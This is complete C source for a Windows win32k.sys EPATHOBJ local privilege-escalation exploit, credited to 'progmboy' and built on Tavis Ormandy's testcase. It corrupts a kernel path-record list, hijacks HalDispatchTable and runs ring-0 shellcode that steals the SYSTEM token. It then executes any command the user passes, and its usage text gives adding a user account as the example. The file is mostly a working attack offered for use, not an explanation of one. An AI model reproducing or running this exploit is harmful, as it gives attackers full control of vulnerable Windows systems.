WooYun.org

#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
//#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
#pragma comment(linker, "/SECTION:.text,ERW")
//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//
POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion = 0;
HANDLE      Mutex;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
VOID LogInit();
VOID LogRelase();
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010
#define ENABLE_SWITCH_DESKTOP	1
typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord = {0};
PPATHRECORD ExploitRecordExit;
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;                 // Not filled in
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtFreeVirtualMemory_ NtFreeVirtualMemory;
ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, 
		 PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
void _declspec(naked) ShellCode()
{
    __asm
    {
			pushad
			pushfd
			mov esi,PsReferencePrimaryToken
FindTokenOffset:
			lodsb
			cmp al, 8Dh;
			jnz FindTokenOffset
			mov edi,[esi+1]
			mov esi,PsInitialSystemProcess
			mov esi,[esi]
			push fs:[124h]
			mov eax,PsGetThreadProcess
			call eax
			add esi, edi
			push esi
			add edi, eax
			movsd
			
			;add token ref count.
			pop esi
			mov esi, [esi]
			and esi, 0xFFFFFFF8
			lea eax, [esi-0x18]
			mov DWORD PTR [eax], 0x016B00B5
			;fix the haltable
			mov eax, WriteToHalDispatchTable
			mov ecx, FixAddress
			mov [ecx], 0xC3
			mov DWORD PTR [eax], ecx
			popfd
			popad
			;set ret code for NtQueryIntervalProfile
			mov eax, [esp+0xc]
			mov DWORD PTR [eax+4], 1
			mov DWORD PTR [eax+8], 0xC0000018
			xor eax, eax
			ret
    }
}
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
	//
    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    //
	LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
	
    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
		
		//
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        //
		while (NumRegion--)
            DeleteObject(Regions[NumRegion]);
		
        LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
		
        InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
		
    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }
	
    return 0;
}
void wellcome()
{
	printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
	printf("*******************************************************************\n");
	printf("***\texploit by:<progmboy> <雷少>\t\t***\n");
	printf("***\t0day finder:<Tavis Ormandy> <雷少>\t***\n");
	printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
	printf("*******************************************************************\n");
}
void usage()
{
	printf("\nusage:\n<app> <cmd> <parameter>\n");
	printf("example:\napp.exe net \"user 111 111 /add\"");
}
BOOL 
FindAFixAddress(
	ULONG NtoskrnlBase)
{
	FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
	LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
	return TRUE;
}
// 0x602464FF; /*jmp esp+0x60*/
// 0x51C3686A; /*push 0; ret*/
DWORD CheckMagicDword()
{
	OSVERSIONINFOEX OSVer;
	DWORD dwMagic = 0;
    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
		switch(OSVer.dwMajorVersion){
		case 5:
			dwMagic = 0x602464FF;
			break;
		case 6:
			dwMagic = 0x642464FF;
			break;
		default:
			dwMagic = 0;
		}
	}
	return dwMagic;
}
int main(int argc, char **argv)
{
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    ULONG       PointNum;
	int nret = 0;
	
	DWORD MAGIC_DWORD = CheckMagicDword();
    ULONG AllocSize = 0x1000, status, NtoskrnlBase;
	RTL_PROCESS_MODULES  module;
	HMODULE ntoskrnl = NULL;
	DWORD dwFix;
	ULONG Address = MAGIC_DWORD & 0xFFFFF000;
	LONG ret;
	BOOL bRet = FALSE;
#ifdef ENABLE_SWITCH_DESKTOP
	HDESK hDesk;
#endif
    HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );
	
	wellcome();
	if (argc < 2){
		usage();
		return -1;
	}
	if (!MAGIC_DWORD){
		LogMessage(L_ERROR, "unsupported system version\n");
		return -1;
	}
	LogInit();
	NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
    NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
    NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
	NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory || 
		 !NtQuerySystemInformation || !NtFreeVirtualMemory){
		LogMessage(L_ERROR, "get function address error\n");
		LogRelase();
		return -1;
	}
	
	//
	// try to allocate memory.
	//
	while (TRUE){
		ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
		if(ret < 0){
			MEMORY_BASIC_INFORMATION meminfo;
			LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
			LogMessage(L_INFO, "try to free memory");
			if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
				LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
			}
			ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
			if (ret < 0){
				LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
				LogRelase();
				return -1;
			}
		}else{
			break;
		}
	}
	
	//
	// get the kernel info
	//
    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
    if ( status != 0xC0000004 ){
		LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
        LogRelase();
		return -1;
	}
	
    NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
	
    //
    // 把ntoskrnl.exe加载进来
    //
	
    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
    if (ntoskrnl == NULL){
		LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
        LogRelase();
		return -1;
	}
	 
    //
    // 计算实际地址
    //
	
    WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
    PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
	
	if(!FindAFixAddress(NtoskrnlBase)){
		LogMessage(L_ERROR, "Can not Find A Fix Address\n");
		nret = -1;
		goto __end;
	}
	//
    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    //
	PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
	
	//
    // Initialize with recognizable debugging values.
    //
	FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);
	
	//
    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    //
	PathRecord->flags   = 0;
    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
	
	ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->flags = PD_BEGINSUBPATH;
	ExploitRecordExit->count = 0;
	
	ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
	ExploitRecord.count = 4;
	
    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
	
	//
    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    //
	for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }
	//
    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    //
#ifdef ENABLE_SWITCH_DESKTOP
	hDesk = CreateDesktop( "DontPanic",
							NULL,
							NULL,
							0,
							GENERIC_ALL,
	 						NULL);
	if (hDesk){
		SetThreadDesktop(hDesk);
	}
#endif
	
	while (TRUE){
		BOOL bBreak = FALSE;
		Mutex = CreateMutex(NULL, TRUE, NULL);
		if (!Mutex){
			LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
			nret = -1;
			goto __end;
		}
		
		//
		// Get a handle to this Desktop.
		//
		Device = GetDC(NULL);
		
		//
		// Spawn a thread to cleanup
		//
		Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
		
		LogMessage(L_INFO, "start CreateRoundRectRgn");
		
		//
		// We need to cause a specific AllocObject() to fail to trigger the
		// exploitable condition. To do this, I create a large number of rounded
		// rectangular regions until they start failing. I don't think it matters
		// what you use to exhaust paged memory, there is probably a better way.
		//
		// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
		// failure. Seriously, do some damn QA Microsoft, wtf.
		//
		for (Size = 1 << 26; Size; Size >>= 1) {
			while (TRUE){
				HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
				if (!hm){
					break;
				}
				if (NumRegion < MAX_REGIONS){
					Regions[NumRegion] = hm;
					NumRegion++;
				}else{
					NumRegion = 0;
				}
			}
		}
		LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
		LogMessage(L_INFO, "Flattening curves...");
		
		//
		// Begin filling the free list with our points.
		//
		
		dwFix = *(PULONG)ShellCode;
		for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
			BeginPath(Device);
			PolyDraw(Device, Points, PointTypes, PointNum);
			EndPath(Device);
			FlattenPath(Device);
			FlattenPath(Device);
			
			//
			// call the function to exploit.
			//
			ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
			
			//
			// we will set the status with 0xC0000018 in ring0 shellcode.
			//
			if (*(PULONG)ShellCode == 0xC0000018){
				bRet = TRUE;
				break;
			}
			
			//
			// fix
			//
			
			*(PULONG)ShellCode = dwFix;
			EndPath(Device);
		}
		
		if (bRet){
			LogMessage(L_INFO, "Exploit ok run command");
			ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
			bBreak = TRUE;
		}else{
			LogMessage(L_INFO, "No luck, cleaning up. and try again..");
		}
    
		//
		// If we reach here, we didn't trigger the condition. Let the other thread know.
		//
		ReleaseMutex(Mutex);
		
		ReleaseDC(NULL, Device);
		WaitForSingleObject(Thread, INFINITE);
		if (bBreak){
			break;
		}
	}
__end:
	LogRelase();
	if (ntoskrnl)
		FreeLibrary(ntoskrnl);
#ifdef ENABLE_SWITCH_DESKTOP
	if (hDesk){
		CloseHandle(hDesk);
	}
#endif
    return nret;
}
CRITICAL_SECTION gCSection;
VOID LogInit()
{
	InitializeCriticalSection(&gCSection);
}
VOID LogRelase()
{
	DeleteCriticalSection(&gCSection);
}
//
// A quick logging routine for debug messages.
//
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;
	
	EnterCriticalSection(&gCSection);
    va_start(Args, Format);
    _snprintf(Buffer, sizeof(Buffer), Format, Args);
    va_end(Args);
    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
    }
	
    fflush(stdout);
    fflush(stderr);
	
	LeaveCriticalSection(&gCSection);
    return TRUE;
}